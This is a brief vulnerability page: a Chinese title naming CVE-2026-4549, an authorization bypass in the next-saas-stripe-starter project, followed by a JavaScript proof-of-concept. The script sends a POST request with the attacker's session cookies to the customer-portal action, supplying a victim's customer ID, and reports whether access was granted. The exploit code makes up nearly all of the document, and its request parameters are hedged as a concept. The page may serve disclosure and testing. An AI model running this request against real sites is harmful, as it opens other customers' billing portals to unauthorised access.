CVE-2026-4549 next-saas-stripe-starter授权绕过漏洞

// PoC Concept for CVE-2026-4549 Authorization Bypass // This script demonstrates how an attacker might trigger the bypass. const VULNERABLE_ENDPOINT = '/actions/open-customer-portal'; async function attemptExploit() { // Attacker controls the target customer ID to access victim's portal const payload = { customerId: 'cus_target_victim_id', // Potentially other parameters depending on implementation }; try { // Sending request with low-privilege credentials (PR:L) const response = await fetch(VULNERABLE_ENDPOINT, { method: 'POST', credentials: 'include', // Send cookies headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(payload) }); if (response.status === 200) { console.log('[+] Authorization Bypass Successful!'); console.log('[+] Access granted to restricted customer portal.'); } else { console.log('[-] Exploit failed or patched.'); } } catch (e) { console.error('Error:', e); } } attemptExploit();